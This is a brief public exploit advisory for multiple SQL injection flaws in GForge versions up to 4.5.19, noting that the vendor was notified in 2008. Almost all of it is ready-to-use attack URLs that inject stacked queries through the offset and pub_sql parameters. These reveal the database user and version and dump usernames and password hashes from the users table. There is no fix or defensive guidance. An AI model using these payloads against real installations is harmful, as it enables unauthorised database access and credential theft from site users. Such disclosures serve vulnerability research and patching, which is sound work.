gforge4519-sql.txt

`Gforge <= 4.5.19 Multiple Sql Injections  
  
Vendor Notified: 2008-10-06  
Note: should work regardless magic_quotes_gpc setting.  
  
http://gforgesite.xxx/new/?group_id=&limit=50&offset=50;select 1 as id,CURRENT_USER as forum_id, version() as summary  
http://gforgesite.xxx/news/?group_id=&limit=50&offset=50;select+1+as+id,unix_pw+as+forum_id,+user_name||unix_pw+as+summary+from+users  
http://gforgesite.xxx/top/topusers.php?offset=0;select+1,version()+as+user_name,3,4,5;  
  
Replace 1337 with a valid group_id:  
  
http://gforgesite.xxx/frs/shownotes.php?release_id=*/+--+454&pub_sql=;select+1+as+is_public,1337+as+group_id,current_user+as+name,4+as+notes,version()+as+changes,6;/*  
  
`